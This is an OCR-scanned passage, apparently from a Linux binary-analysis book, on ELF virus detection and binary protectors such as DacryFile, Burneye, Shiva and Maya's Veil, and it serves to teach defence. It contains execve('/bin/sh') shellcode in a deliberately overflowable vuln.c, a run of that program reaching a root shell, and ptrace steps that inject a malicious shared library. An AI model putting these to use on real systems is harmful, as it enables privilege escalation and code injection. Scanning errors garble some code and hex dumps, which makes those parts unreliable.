http://www.bitlackeys.org/projects/elfscure.c.


http://www.bitlackeys.org/projects/elfscure.c




ELF virus detection and disinfection

Detecting viruses can be very complicated, let alone disinfecting them. Our modern day
AV software is actually quite a joke and is very ineffective. Standard AV software uses
scan strings, which are signatures, to detect a virus. In other words, if a known virus
always had the string h4h4.infect .1+ at a given offset within the binary, then the AV
software would see that it is present in its database and flag it as infected. This is very
ineffective in the long run, especially since viruses are constantly mutating into new
strains.

Some AV products are known to use emulation for dynamic analysis that can feed the
heuristics analyzer with information about an executable’s conduct during runtime.
Dynamic analysis can be powerful, but it is known to be slow. Some breakthroughs in
dynamic malware unpacking and classification have been made by Silvio Cesare, but I am
not certain whether this technology is being used in the mainstream.

Currently, there exists a very limited amount of software for detecting and disinfecting
ELF binary infections. This is probably because a more mainstream market doesn’t exist
and because a lot of these attacks are somehow still so underground. There is no doubt,
though, that hackers are using these techniques to hide backdoors and maintain a stealthy
residence on compromised systems. Currently, I am working on a project called Arcana,
which can detect and disinfect many types of ELF binary infections, including
executables, shared libraries, and kernel drivers, and it is also capable of using ECFS
snapshots (described in Chapter 8, ECFS — Extended Core File Snapshot Technology)
which greatly improves process-memory forensics. In the meantime, you can read about
or download one of the following projects, which are prototypes I designed years ago:

e VMA Voodoo (http://www.bitlackeys.org/#vmavudu)
e AVU (Anti Virus Unix) at http://www.bitlackeys.org/projects/avu32.tgz

Most viruses in a Unix environment are implanted after a system compromise and used to
maintain residency on the system by logging useful information (such as
usernames/passwords) or by hooking daemons with backdoors. The software that I have
designed in this area is most likely to be used as host intrusion detection software or for
automated forensics analysis of binaries and process memory. Keep following the
http://bitlackeys.org/ site to see any updates pertaining to the release of Arcana, my latest
ELF binary analysis software, which is going to be the first real production software that
is equipped for complete analysis and disinfection of ELF binary infections.

I have decided not to write an entire section in this chapter on heuristics and the detection
of viruses, because we will be discussing most of these techniques in Chapter 6, ELF
Binary Forensics in Linux, where will examine the methods and heuristics used in
detecting binary infections.


http://www.bitlackeys.org/#vmavudu
http://www.bitlackeys.org/projects/avu32.tgz
http://bitlackeys.org/




Summary

In this chapter, we covered the “need-to-know” information about virus engineering for
ELF binaries. This knowledge is not common, and therefore this chapter hopefully serves
as a unique introduction to this arcane art of viruses in the underground world of computer
science. At this point, you should understand the most common techniques for virus
infection, anti-debugging, and the challenges that are associated with both creating and
analysing viruses for ELF. This knowledge comes to great use in the event of reverse
engineering a virus or performing malware analysis. It is worth noting that many great
papers can be found on http://vxheaven.org to help further your insights into Unix virus
technology.


http://vxheaven.org




Chapter 5. Linux Binary Protection

In this chapter, we are going to explore the basic techniques and motivations for
obfuscation of Linux programs. Techniques that obfuscate or encrypt binaries or make
them difficult to tamper with are called software protection schemes. By “software
protection,” we mean binary protection or binary hardening techniques. Binary hardening
is not exclusive to Linux; in fact, there are many more products for the Windows OS in
this technology genre, and there are definitely more examples to choose from for
discussion.

What many people fail to realize is that Linux has a market for this too, although it largely
exists for anti-tamper products used by the government. There are also a number of ELF
binary protectors that were released over the last decade in the hacker community, several
of which paved the way for many of the technologies used today.

An entire book could be dedicated to the art of software protection, and as the author of
some of the more recent binary protection technologies for ELF, I could easily get carried
away with this chapter. Instead, I will stick to explaining the fundamentals and some
interesting techniques that are used, followed by some insights into my own binary
protector—Maya’s Veil. The tricky engineering and skills that go into binary protection
make it a challenging topic to articulate, but I will do my best here.



ELF binary packers — dumb protectors

A packer is a type of software that is commonly used by malware authors and hackers to
compress or encrypt an executable in order to obfuscate its code and data. One very
common packer is named UPX (http://upx.sourceforge.net) and is available as a package
on most Linux distributions. The original purpose of this type of packer was to compress
an executable and make it smaller.

Since the code is compressed, it must have a way to decompress itself before executing in
memory—this is where things get interesting, and we will discuss how this works in the
Stub mechanics and the userland exec section. At any rate, malware authors have realized
that compressing their malware-infected files would evade AV detection due to
obfuscation. This led malware/antivirus researchers to develop automated unpackers,
which are now used in most, if not all, modern AV products.

Nowadays, the term “packed binary” refers not only to compressed binaries but also to
encrypted binaries or binaries that are shielded with an obfuscation layer of any kind.
Since the early 2000s, there have been several remarkable ELF binary protectors that have
shaped the future of binary protection in Linux. We will explore each one of these and use
them to model the different techniques used to protect ELF binaries. Beforehand, however,
let’s look at how stubs work to load and execute a compressed or encrypted binary.


http://upx.sourceforge.net




Stub mechanics and the userland exec

First, it is necessary to understand that a software protector is actually made up of two
programs:

¢ Protection phase code: The program that applies the protection to the target binary
¢ Runtime engine or stub: The program that is merged with the target binary that is
responsible for deobfuscation and anti-debugging at runtime

The protector program can vary greatly depending on the types of protection that are being
applied to the target binary. Whatever type of protection is being applied to the target
binary must be understood by the runtime code. The runtime code (or stub) must know
how to decrypt or deobfuscate the binary that it is merged with. In most cases of software
protection, there is a relatively simple runtime engine merged with the protected binary; its
sole purpose is to decrypt the binary and pass control to the decrypted binary in memory.

This type of runtime engine is not so much an engine—really—and we call it a stub. The
stub is generally compiled without any libc linkings (for example, gcc -nostdlib), oris
statically compiled. This type of stub, although simpler than a true runtime engine, is
actually still quite complicated because it must be able to exec() a program from memory
—this is where userland exec comes into play. We can thank the grugq for his
contributions here.

The SYS_execve system call, which is generally used by the glibc wrappers (for example,
execve, execv, execle, and execl) will load and run an executable file. In the case of a
software protector, the executable is encrypted and must be decrypted prior to being
executed. Only an unseasoned hacker would program their stub to decrypt the executable
and then write it to disk in a decrypted form before they execute it with SYS_exec,
although the original UPX packer did work this way.

The skilled way of accomplishing this is by decrypting the executable in place (in
memory), and then loading and executing it from the memory—not a file. This can be
done from the userland code, and therefore we call this technique userland exec. Many
software protectors implement a stub that does this. One of the challenges in
implementing a stub userland exec is that it must load the segments into their designated
address range, which would typically be the same addresses that are designated for the
stub executable itself.

This is only a problem for ET_EXEC-type executables (since they are not position
independent), and it is generally overcome by using a custom linker script that tells the
stub executable segments to load at an address other than the default. An example of such
a linker script is shown in the section on linker scripts in Chapter 1, The Linux
Environment and Its Tools.

Note

On x86_32, the default base is 0x8048000, and on x86_64, it is 0x400000. The stub
should have load addresses that do not conflict with the default address range. For



example, a recent one that I wrote is linked such that the text segment is loaded at
0xa000000.

BEFORE MAYA LAYER 1ﬁ AFTER MAYA LAYER 1 lI
ELF Header ELF Header
Program Headers
TEXT
DATA

DATA

Illustration 5.1: A model of a binary protector stub

Illustration 5.1 shows visually how the encrypted executable is embedded within the data
segment of the stub executable, wrapped within it, which is why stubs are also referred to
as wrappers.

Note

We will show in Identifying protected binarires section in Chapter 6, ELF Binary
Forensics in Linux how peeling a wrapper off can actually be a trivial task in many cases,
and how it may also be an automated task with the use of software or scripts.

A typical stub performs the following tasks:

Decrypting its payload (which is the original executable)
Mapping the executable’s loadable segments into the memory
Mapping the dynamic linker into the memory

Creating a stack (that is with mmap)

Setting the stack up (argv, envp, and the auxiliary vector)
Passing control to the entry point of the program

Note

If the protected program was dynamically linked, then the control will be passed to the
entry point of the dynamic linker, which will subsequently pass it to the executable.

A stub of this nature is essentially just a userland exec implementation that loads and
executes the program embedded within its own program body, instead of an executable
that is a separate file.



Note

The original userland exec research and algorithm can be found in the grugq’s paper titled
The Design and Implementation of Userland Exec at

https://grugqg.github.io/docs/ul_exec.txt.


https://grugq.github.io/docs/ul_exec.txt

An example of a protector

Let’s take a look at an executable before and after it is protected by a simple protector that
I wrote. Using readelf to view the program headers, we can see that the binary has all the
segments that we would expect to see in a dynamically linked Linux executable:

$ readelf -1 test

E1f file type is EXEC (Executable file)
Entry point 0x400520

There are 9 program headers, starting at offset 64

Program Headers:

Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align

PHDR 0OX0000000000000040 OXOOOCOEOOCO400040 OXOOOOEOOOO0400040
OXx00000000000001f8 OXOOOEOEOOEOEEO1IF8 R E 8

INTERP OX0000000000000238 OXOOOEOEONOEO400238 OXOOOOEOOOOA400238
0x000000000000001Cc OXOO0EOOOEOOOONBAIC R 1

[Requesting program interpreter: /1ib64/1d-1inux-x86-64.s0.2]

LOAD OX000OCOCOOOOOOO00O0 OXOOOOOOOOEO400000 OXOOOOOOOOOO400000
OXO0000000000008e4 OXOOOOOOOOOOO0O8e4 R E 200000
LOAD OXO000000000000el1d0 OXOOOOEOOOOO600e10 OXOOOOOOOOOO600e10
OXO000000000000248 OXOOOOOOOOOEO0O250 RW 200000
DYNAMIC OXO000000000000e28 OXOOOOOOOOOO600e28 OXOOOOOOOOOO600e28
0Xx00000000000001d0 OXOOOCO0EOO0C00001dO RW 8
NOTE OXO000000000000254 OXOEOOOOO000400254 OXOOO00EOC00400254
OX0000000000000044 OXO000000000000044 R 4
GNU_EH_FRAME OX00000OCOOOCO0744 OXO000000000400744 OXOOOCO00O0000400744
OX00000OCOOOOO004Cc OXOOOOOOOOOOOOOO4Cc R 4
GNU_STACK OX000OCOCOEOOOOOOO0 OXOOOOOOOOOOEOEOEO OXOEOCOCOOOOOOOOO
OX00000OCOOOCOOO0O0 OXOOOOOOOOOOOOEOEO RW 10
GNU_RELRO OX00000OCOOOO00e10 OXOOOOOOOOOO600el10 OXOOOOOOOOOO600e10
0X00000000000001f0 OXO0000000000001fO R 1

Now, let’s run our protector program on the binary and view the program headers
afterwards:

$ ./elfpack test

$ readelf -1 test

Elf file type is EXEC (Executable file)

Entry point 0xa01136

There are 5 program headers, starting at offset 64

Program Headers:

Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align

LOAD OX000OOOEELOEEOOOOO OXOEOOOOOOOEaLEOOO OXOOEEOOOOOOaLEEOO
OX0000OOOOOEEO2470 OXOOOOOOOOOOO02470 R E 1000

LOAD OX000OOOEEOLOEO3000 OXOEEOOOOEEOCOH30OO OXOOEEOOOOOOCO3VOO
0X000000000003a23f OXOO00000000003b4df RW 1000

There are many differences that you will note. The entry point is 0xa01136, and there are
only two loadable segments, which are the text and data segments. Both of these are at



completely different load addresses than before.

This is of course because the load addresses of the stub cannot conflict with the load
address of the encrypted executable contained within it, which must be loaded and
memory-mapped to. The original executable has a text segment address of 6x400000. The
stub is responsible for decrypting the executable embedded within and then mapping it to
the load addresses specified in the PT_LOAD program headers.

If the addresses conflict with the stub’s load addresses, then it will not work. This means
that the stub program has to be compiled using a custom linker script. The way this is
commonly done is by modifying the existing linker script that is used by 1d. For the
protector used in this example, I modified a line in the linker script:

e This is the original line:

PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000));
. = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;

e The following is the modified line:

PROVIDE (__executable_start = SEGMENT_START("text-segment", 0xa00000));
. = SEGMENT_START("text-segment", 0xa®0000) + SIZEOF_HEADERS;

Another thing that you can notice from the program headers in the protected executable is
that there is no PT_INTERP segment or PT_DYNAMIC segment. This would appear to the
untrained eye as a statically linked executable, since it does not appear to use dynamic
linking. This is because you are not viewing the program headers of the original
executable.

Note

Remember that the original executable is encrypted and embedded within the stub
executable, so you are really viewing the program headers from the stub and not from the
executable that it is protecting. In many cases, the stub itself is compiled and linked with
very minimal options and does not require dynamic linking itself. One of the primary
characteristics of a good userland exec implementation is the ability to load the dynamic
linker into memory.

As I mentioned, the stub is a userland exec, and it will map the dynamic linker to the
memory after it decrypts and maps the embedded executable to the memory. The dynamic
linker will then handle symbol resolution and runtime relocations before it passes control
to the now-decrypted program.






Other jobs performed by protector stubs

In addition to decrypting and loading the embedded executable into memory, which is the
userland exec component, the stub may also perform other tasks. It is common for the stub
to start anti-debugging and anti-emulation routines that are meant to further protect the
binary from being debugged or emulated in order to raise the bar even further so that
reverse engineering is even more difficult.

In Chapter 4, ELF Virus Technology — Linux/Unix Viruses, we discussed some anti-
debugging techniques used to prevent debugging based on ptrace. This prevents most
debuggers, including GDB, from trivially tracing the binary. Later in this chapter, we will
summarize the most common anti-debugging techniques used in binary protection for
Linux.






Existing ELF binary protectors

Over the years, there have been a few noteworthy binary protectors that were released
both publicly and from the underground scene. I will discuss some of the protectors for
Linux and give a synopsis of the various features.



DacryFile by the Grugq — 2001

DacryFile is the earliest binary protector that I am aware of for Linux
(https://github.com/packz/binary-encryption/tree/master/binary-encryption/dacryfile). This
protector is simple but nonetheless clever and works very similarly to ELF parasite
infection from a virus. In many protectors, the stub wraps around the encrypted binary, but
in the case of DacryFile, the stub is just a simple decryption routine that is injected into
the binary that is to be protected.

DacryFile encrypts a binary from the beginning of the . text section to the end of the text
segment using RC4 encryption. The decryption stub is a simple program written in asm
and C, and it does not have the userland exec functionality; it simply decrypts the
encrypted body of code. This stub is inserted at the end of the data segment, which is very
reminiscent of how a virus inserts a parasite. The entry point of the executable is modified
to point to the stub, and upon execution of the binary, the stub decrypts the text segment of
the program. Then it passes the control to the original entry point.

Note

On systems that support NX bit, the data segment cannot be used to hold code unless it is
explicitly marked with executable permission bits, that is, 'p_flags |= PF_X".


https://github.com/packz/binary-encryption/tree/master/binary-encryption/dacryfile

Burneye by Scut — 2002

Burneye is said by many to have been the first example of decent binary encryption in
Linux. By today’s standards, it would be considered weak, but it nevertheless brought
some innovative features to the table. This includes three layers of encryption, the third of
which is a password-protected layer.

The password is converted into a type of hash-sum and then used to decrypt the outermost
layer. This means that unless the binary is given the correct password, it will never
decrypt. Another layer, called a fingerprint layer, can be used instead of the password
layer. This feature creates a key out of an algorithm that fingerprints the system that the
binary was protected on, and prevents the binary from being decrypted on any other
system but the one it was protected on.

There was also a self-destruct feature; it deletes the binary after it is run once. One of the
primary things that separated Burneye from other protectors was that it was the first to use
the userland exec technique to wrap binaries. Technically, this was first done by John
Resier for the UPX packer, but UPX is considered more of a binary compressor than a
protector. John allegedly passed on the knowledge of userland exec to Scut, as mentioned
in the Phrack 58 article written by Scut and Grugqg on ELF binary protection at
http://phrack.org/issues/58/5.html. This article documents the inner workings of Burneye
and is highly recommended for reading.

Note

A tool named objobf, which stands for object obfuscator, was also designed by Scut.
This tool obfuscates an ELF32 ET_REL (object file) so that the code is very difficult to
disassemble but is functionally equivalent. With the use of techniques such as opaque
branches and misaligned assembly, this can be quite effective in deterring static analysis.


http://phrack.org/issues/58/5.html

Shiva by Neil Mehta and Shawn Clowes — 2003

Shiva was probably the best publicly available example of Linux binary protection. The
source code was never released—only the protector was—but several presentations were
delivered at various conferences, such as Blackhat USA, by the authors. These revealed
many of its techniques.

Shiva works for 32-bit ELF executables and provides a complete runtime engine (not just
a decryption stub) that assists decryption and anti-debugging features throughout the
duration of the process that it is protecting. Shiva provides three layers of encryption,
where the innermost layer never fully decrypts the entire executable. It decrypts 1,024-
byte blocks at a time and then re-encrypts.

For a sufficiently large program, no more than 1/3rd of the program will be decrypted at
any given time. Another powerful feature is the inherent anti-debugging—the Shiva
protector uses a technique wherein the runtime engine spawns a thread using clone(),
which then traces the parent, while the parent conversely traces the thread. This makes
using dynamic analysis based on ptrace impossible, since a single process (or thread)
may not have more than a single tracer. Also, since both processes are being traced by
each other, no other debugger can attach.

Note

A renowned reverse engineer named Chris Eagle successfully unpacked a Shiva-protected
binary using an x86 emulator plugin for IDA and gave a presentation on this feat at
Blackhat. This reverse engineering of Shiva was said to have been accomplished within a
3-week period.

e Presentation by the authors:

https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-mehta/bh-us-03-
mehta.pdf
e Presentation by Chris Eagle (who broke Shiva):

http://www.blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/bh-fed-03-
eagle.pdf



https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-mehta/bh-us-03-mehta.pdf
http://www.blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/bh-fed-03-eagle.pdf

Maya’s Veil by Ryan O’Neill — 2014

Maya’s Veil was designed by me in 2014 and is for ELF64 binaries. To this day, the
protector is in a prototype stage and has not been released publicly, but there are some
forked versions that have transpired into variations of the Maya project. One of them is
https://github.com/elfmaster/, which is a version of Maya that incorporates only anti-
exploitation technologies, such as control flow integrity. As the originator and designer of
the Maya protector, I am at liberty to elaborate on some of the details of its inner
workings, primarily for reasons of sparking interest and creativity in readers who are
interested in this type of thing. In addition to being the author of this book, I am also quite
approachable as a person, so feel free to contact me if you have more questions about
Maya’s Veil.

Firstly, this protector was designed as a userland-only solution (which means no assistance
from clever kernel modules) while still being able to protect a binary with sufficient anti-
tamper qualities and—even more impressively—additional anti-exploitation features.
Many of the capabilities that Maya possesses have so far been seen only with compiler
plugins, whereas Maya operates directly on the already compiled executable binary.

Maya is extremely complicated, and documenting all of its inner workings would be a
complete exegesis on the subject of binary protection, but I will summarize some of its
most important qualities. Maya can be used to create a layer 1, layer 2, or layer 3 protected
binary. At the first layer, it uses an intelligent runtime engine; this engine is compiled as
an object file named runtime.o.

This file is injected using a reverse text-padding extension (Refer to Chapter 4, ELF Virus
Technology — Linux/Unix Viruses), combined with relocatable code injection relinking
techniques. Essentially, the object file for the runtime engine is linked to the executable
that it is protecting. This object file is very important as it contains the code for anti-
debugging, anti-exploitation, custom malloc with an encrypted heap, metadata about the
binary that it is protecting, and so on. This object file was written in about 90% C and
10% x86 assembly.

Maya’s protection layers

Maya has multiple layers of protection and encryption. Each additional layer enhances the
level of security by adding more work for an attacker to peel off. The outermost layers are
the most useful for preventing static analysis, whereas the innermost layer (layer 1) only
decrypts the functions within the present call stack and re-encrypts them when done. The
following is a more detailed explanation of each layer.

Layer 1

A layer 1 protected binary consists of every single function of the binary individually
encrypted. Every function decrypts and re-encrypts on the fly, as they are called and
returned. This works because runtime.o contains an intelligent and autonomous self-
debugging capability that allows it to closely monitor the execution of a process and
determine when it is being attacked or analyzed.


https://github.com/elfmaster/

The runtime engine itself has been obfuscated using code obfuscation techniques, such as
those found on Scut’s object obfuscator tool. The key storage and metadata for the
decrypting and re-encrypting functions are stored in a custom malloc() implementation
that uses an encrypted heap spawned by the runtime engine. This makes locating the keys
difficult. Layer 1 protection is the first and most complex level of protection due to the
fact that it instruments the binary with an intelligent and autonomous self-tracing
capability for dynamic decryption, anti-debugging, and anti-exploitation abilities.

Model describing how the stub relates
to the encrypted executable

STUB ELF HEADER
STUB TEXT SEGMENT
STUB DATA SEGMENT
Original binary w :_E;I:;ry;)iﬂa &igfnél Thlqni;r;f:
ELF HEADER E ELF HEADER :
TEXT SEGMENT ——F E TEXT SEGMENT E
DATA SEGMENT | | E DATA SEGMENT i

An over-simplified diagram showing how a layer 1 protected binary is laid out next to the
original binary

Layer 2

A layer 2 protected binary is the same as a level 1 protected binary, except that not only
the functions but also every other section in the binary is encrypted to prevent static
analysis. These sections are decrypted at runtime, leaving certain data exposed if someone
is able to dump the process, which would have to be done through a memory driver
because prctl() is used to protect the process from normal userland dumps through
/proc/$pid/mem (and also stops the process from dumping any core files).

Layer 3

A layer 3 protected binary is the same as level 2, except that it adds one more complete
layer of protection by embedding the layer 2 binary into the data segment of the layer 3
stub. The layer 3 stub works like a traditional userland exec.



Maya’s nanomites

Maya’s Veil has many other features that make it difficult to reverse-engineer. One such
feature is called nanomites. This is where certain instructions in the original binary are
completely removed and replaced with junk instructions or breakpoints.

When Maya'’s runtime engine sees one of these junk instructions or breakpoints, it checks
its nanomite records to see what the original instruction was that existed there. The records
are stored in the encrypted heap segment of the runtime engine, so accessing this
information is non-trivial for a reverse engineer. Once Maya knows what the original
instruction did, it emulates the instruction using the ptrace system call.

Maya’s anti-exploitation

The anti-exploitation features of Maya are what make it unique compared to other
protectors. Whereas most protectors aim only to make reverse engineering difficult, Maya
is able to strengthen a binary so that many of its inherent vulnerabilities (such as a buffer
overflow) cannot be exploited. Specifically, Maya prevents ROP (short for Return-
Oriented Programming) by instrumenting the binary with special control flow integrity
technology that is embedded in the runtime engine.

Every function in a protected binary is instrumented with a breakpoint (int3) at the entry
point and at every return instruction. The int3 breakpoint delivers a SIGTRAP that
triggers the runtime engine; the runtime engine then does one of several things:

e Decrypting the function (only if it hits the entry int3 breakpoint)

e Encrypting the function (only if it hits the return int3 breakpoint)

e Checking whether the return address has been overwritten

e Checking whether the int3 breakpoint is a nanomite; if so, it will emulate

The third bullet is the anti-ROP feature. The runtime engine checks a hash map that
contains valid return addresses for various points within the program. If the return address

is invalid, then Maya will bail out and the exploitation attempt will fail.

The following is an example of a vulnerable piece of software code that was specially
crafted to test and show off Maya’s anti-ROP feature:

Source code of vuln.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

/*

* This shellcode does execve("/bin/sh", ..)

/
char shellcode[] =
"\Xxeb\X1d\x5b\x31\XxcO\X67\X89\x43\XO7\x67\Xx89\x5b\xO08\x67\x89\x43\"
"XOCc\X31\XcO\XbO\XOb\Xx67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8"
"\Xde\XTFF"\xXTfF\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41"



"\x42\x42";

/*
* This function is vulnerable to a buffer overflow. Our goal is to
* overwrite the return address with 0x41414141 which is the addresses
* that we mmap() and store our shellcode in.

*/
int vuln(char *s)
{
char buf[32];
int 1i;
for (1 = 0; 1 < strlen(s); i++) {
buf[i] = *s;
S++;
}
}
int main(int argc, char **argv)
{
if (argc < 2)
{
printf("Please supply a string\n");
exit(0);
3
int 1i;
char *mem = mmap((void *)(0x41414141 & ~4095),
4096,
PROT_READ |PROT_WRITE|PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED,
_1,
0);
memcpy((char *)(mem + 0x141), (void *)&shellcode, 46);
vuln(argv[1]);
exit(0);
}

Example of exploiting vuln.c
Let’s take a look at how we can exploit vuln.c:

$ gcc -fno-stack-protector vuln.c -o vuln

$ sudo chmod u+s vuln

$ ./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# whoami

root

#

Now let’s protect vuln using the -c option of Maya, which means control flow integrity.
Then we will try to exploit the protected binary:

$ ./maya -12 -cse vuln



[MODE] Layer 2: Anti-debugging/anti-code-injection, runtime function level
protection, and outter layer of encryption on code/data

[MODE] CFLOW ROP protection, and anti-exploitation

[+] Extracting information for RO Relocations

[+] Generating control flow data

[+] Function level decryption layer knowledge information:

[+] Applying function level code encryption:simple stream cipher S

[+] Applying host executable/data sections: SALSA20 streamcipher (2nd layer
protection)

[+] Maya's Mind-- injection address: 0x3c9000

[+] Encrypting knowledge: 111892 bytes

[+] Extracting information for RO Relocations

[+] Successfully protected binary, output file is named vuln.maya

$ ./vuln.maya
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[MAYA CONTROL FLOW] Detected an illegal return to 0x41414141, possible
exploitation attempt!

Segmentation fault

$

This demonstrates that Maya has detected an invalid return address, 0x41414141, before
the return instruction actually succeeds. Maya’s runtime engine interferes by crashing the
program safely (without exploitation).

Another anti-exploitation feature that Maya enforces is relro (read-only relocations).
Most modern Linux systems have this feature enabled, but if it is not enabled, Maya will
enforce it on its own by creating a read-only page with mprotect () that encompasses
the.jcr, .dynamic, .got, .ctors (.init_array), and .dtors (.fini_array) sections.
Other anti-exploitation features (such as function pointer integrity) are being planned for
the future and have not yet made it into the code base.






Downloading Maya-protected binaries

For those who are interested in reverse-engineering some simple programs that were
protected with Maya’s Veil, feel free to download a couple of samples that are available at

http://www.bitlackeys.org/maya_crackmes.tgz. This link contains three files:

crackme.elf_hardest, crackme.elf_medium, and test.maya.


http://www.bitlackeys.org/maya_crackmes.tgz




Anti-debugging for binary protection

Since binary protectors generally encrypt or obfuscate the physical body of a program,
static analysis can be extremely difficult and, left to its own devises, will prove to be futile
in many cases. Most reverse engineers who are attempting to unpack or break a protected
binary will agree that a combination of dynamic analysis and static analysis must be used
to gain access to the decrypted body of a binary.

A protected binary has to decrypt itself, or at least the portions of itself that are executing
at runtime. Without any anti-debugging techniques, a reverse engineer can simply attach
to the process of the protected program and set a breakpoint on the last instruction of the
stub (assuming that the stub decrypts the entire executable).

Once the breakpoint is hit, the attacker can look at the code segment for where the
protected binary lives and find its decrypted body. This would be extremely simple, and
therefore it is very important for good binary protection to use as many techniques as
possible to make debugging and dynamic analysis difficult for the reverse engineer. A
protector like Maya goes to great lengths to protect the binary from both static and
dynamic analysis.

Dynamic analysis is not limited to the ptrace syscall, although most debuggers are
limited to it for the purpose of accessing and manipulating a process. Therefore, a binary
protector should not be limited to protecting only against ptrace; ideally it will also be
resistant to other forms of dynamic analysis, such as emulation and dynamic
instrumentation (for example, Pin and DynamoRIO). We covered many anti-debugging
techniques against ptrace analysis in previous chapters, but what about resistance to
emulation?






Resistance to emulation

Often, emulators are used to perform dynamic analysis and reverse engineering tasks on
executables. One very good reason for this is that they allow the reverse engineer to easily
instrument the control of the execution, and they also bypass a lot of typical anti-
debugging techniques. There are many emulators being used out there—QEMU, BOCHS,
and Chris Eagles’ IDA X86 emulator plugin, to name some. So, countless anti-emulation
techniques exist, but some of them are specific to each emulator’s particular
implementation.

This topic could expand into some very in-depth discussions and move in many directions,
but I will keep it limited to my own experience. In my own experimentation with
emulation and anti-emulation in the Maya protector, I have learned some generic
techniques that should work against at least some emulators. The goal of our binary
protector’s anti-emulation is to be able to detect when it is being run in an emulator, and if
this is true, it should halt the execution and exit.



Detecting emulation through syscall testing

This technique can be especially useful in application-level emulators that are somewhat
OS agnostic and are unlikely to have implemented more than the basic system calls (read,
write, open, mmap, and so on). If an emulator does not support a system call and also does
not delegate the unsupported syscall to the kernel, it is very likely that it will posit an
erroneous return value.

So, the binary protector could invoke a handful of less common syscalls and check
whether the return value matches the expected value. A very similar technique would be to
invoke certain interrupt handlers to see whether they behave correctly. In either case, we
are looking for OS features that were not properly implemented by the emulator.



Detecting emulated CPU inconsistencies

The chances of an emulator perfectly emulating CPU architectures are next to none.
Therefore, it is common to look for certain inconsistencies between how the emulator
behaves and how the CPU should behave. One such technique is to attempt writing to
privileged instructions, such as debug registers (for example, dbe to db7) or control
registers (for example, cro to cr4). The emulation detection code may have a stub of ASM
code that attempts to write to cro and see whether it succeeds.



Checking timing delays between certain
instructions

Another technique that can sometimes cause instability in the emulator itself is checking
the timestamps between certain instructions and seeing how long the execution took. A
real CPU should execute a sequence of instructions several magnitudes faster than an

emulator.






Obfuscation methods

A binary can be obfuscated or encrypted in many creative ways. Most binary protectors
simply protect the entire binary with one or more layers of protection. At runtime, the
binary is decrypted and can be dumped from the memory to acquire a copy of the
unpacked binary. In more advanced protectors, such as Maya, every single function is
encrypted individually, and allows only a single function to be decrypted at any given
time.

Once a binary is encrypted, it must, of course, store the encryption keys somewhere. In the
case of Maya (discussed earlier), a custom heap implementation that itself uses encryption
to store encryption keys was designed. At some point, it would seem that a key has to be
exposed (such as the key used to decrypt another key), but special techniques such as
white-box cryptography can be used to make these final keys extremely obfuscated. If
assistance from the kernel is used in a protector, then it is possible to store the key outside
of the binary and process memory completely.

Code obfuscation techniques (such as false disassembly, which was described in Chapter
4, ELF Virus Technology — Linux/Unix Viruses) are also commonly used in binary
protection to make static analysis more difficult for code that has been decrypted or is
never encrypted. Binary protectors also usually strip the section header table from a binary
and remove any unneeded strings and string tables from it, such as those that give symbol
names.






Protecting control flow integrity

A protected binary should aim to protect the program during runtime (the process itself)
just as much as—if not more than—the binary at rest on the disk. Runtime attacks can
generally be classified into two types:

e Attacks based on ptrace
e Vulnerability-based attacks



Attacks based on ptrace

The first variety, ptrace based attacks, also falls under the category of debugging a
process. As already discussed, a binary protector wants to make ptrace based debugging
very difficult for a reverse engineer. Aside from debugging, however, there are many other
attacks that could potentially help break a protected binary, and it is important to know
and understand what some of these are in order to give further clarification as to why a
binary protector wants to protect a running process from ptrace.

If a protector has gone so far that it is able to detect breakpoint instructions (and therefore
make debugging more difficult) but is not able to protect itself from being traced by
ptrace, then it is possible that it is still very vulnerable to ptrace based attacks, such as
function hijacking and shared library injection. An attacker may not want to simply
unpack a protected binary, but may aim to only change the binary’s behavior. A good
binary protector should try to protect the integrity of its control flow.

Imagine that an attacker is aware that a protected binary is calling the dlopen() function
to load a specific shared library, and the attacker wants the process to load a trojaned
shared library instead. The following steps could lead to an attacker compromising a
protected binary by changing its control flow:

1. Attaching to the process with ptrace.

2. Modifying the Global Offset Table entry for dlopen() to point to
__libc_dlopen_mode (in libc.so).

Adjusting the %rdi register so that it points to this path: /tmp/evil_lib. so.
4. Continuing execution.

w

At this point, the attacker has just forced a protected binary to load a malicious shared
library and has therefore completely compromised the security of the protected binary.

The Maya protector, as discussed earlier, is armed against such vulnerabilities thanks to a
runtime engine that works as an active debugger, preventing any other process from
attaching. If a protector can disable ptrace from attaching to the protected process, then
that process is at much less risk of this type of runtime attack.



Security vulnerability-based attacks

A vulnerability-based attack is a type of attack in which an attacker may be able to exploit
an inherent weakness in the protected program, such as a stack-based buffer overflow, and
subsequently change the execution flow to something of their choice.

This type of attack is often more difficult to carry out on a protected program, since it
yields much less information about itself, and using a debugger to narrow down on the
locations used in the memory by the exploit is potentially much more difficult to gain
insight into. Nevertheless, this type of attack is very possible, and this is why the Maya
protector enforces control flow integrity and read-only relocations to protect specifically
against vulnerability exploitation attacks.

I am not aware whether any other protectors out there right now are using similar anti-
exploitation techniques, but I can only surmise that they are out there.






Other resources

Writing only one chapter on binary protection is not nearly comprehensive enough on its
own to teach you all about this one subject. The other chapters in this book complement
each other, however; when combined together, they will help you get to deeper levels of
understanding. There are many good resources on this subject, some of which have
already been mentioned.

One resource in particular, written by Andrew Griffith, is highly recommended for
reading. This paper was written over a decade ago but describes many of the techniques
and practices that are still very pertinent to the binary protectors of today:

